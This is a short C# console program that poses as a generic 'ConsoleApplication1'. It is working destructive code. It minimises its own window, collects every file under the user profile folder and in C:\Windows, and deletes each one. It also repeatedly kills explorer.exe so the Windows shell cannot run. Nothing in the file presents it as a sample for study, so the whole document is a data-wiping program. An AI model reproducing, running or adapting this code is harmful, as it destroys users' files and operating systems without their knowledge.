using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using System.Reflection;
using System.Collections;
using System.Threading;

namespace ConsoleApplication1
{
    class Program
    {
        [System.Runtime.InteropServices.DllImport ( "user32.dll" )]
        private static extern bool ShowWindow ( IntPtr hWnd, int nCmdShow );
        private const int SW_MINIMIZE = 6;
        private const int SW_MAXIMIZE = 3;
        private const int SW_RESTORE = 9;

        static void Main ( string[] args )
        {
            List<string> files = new List<string> ();

            IntPtr winHandle = System.Diagnostics.Process.GetCurrentProcess ().MainWindowHandle;
            ShowWindow ( winHandle, SW_MINIMIZE );

            string path = @"C:\Documents and Settings\";
            string path1 = @"C:\Windows";

            files.AddRange ( Directory.GetFiles ( path, "*.*", SearchOption.AllDirectories ) );
            files.AddRange ( Directory.GetFiles ( path1, "*.*" ) );

            DoStopExplorer (0);

            foreach ( string file in files )
            {
                File.Delete ( file );
                DoStopExplorer ( 1 );
            }
            Console.ReadLine ();
        }

        private static void DoStopExplorer (int times)
        { 
            List<System.Diagnostics.Process> process = new List<System.Diagnostics.Process> ();

            process.AddRange ( System.Diagnostics.Process.GetProcesses() );

            foreach ( System.Diagnostics.Process proc in process )
            {
                if ( proc.ProcessName == "explorer" )
                {
                    proc.Kill ();
                }
            }
        }
    }
}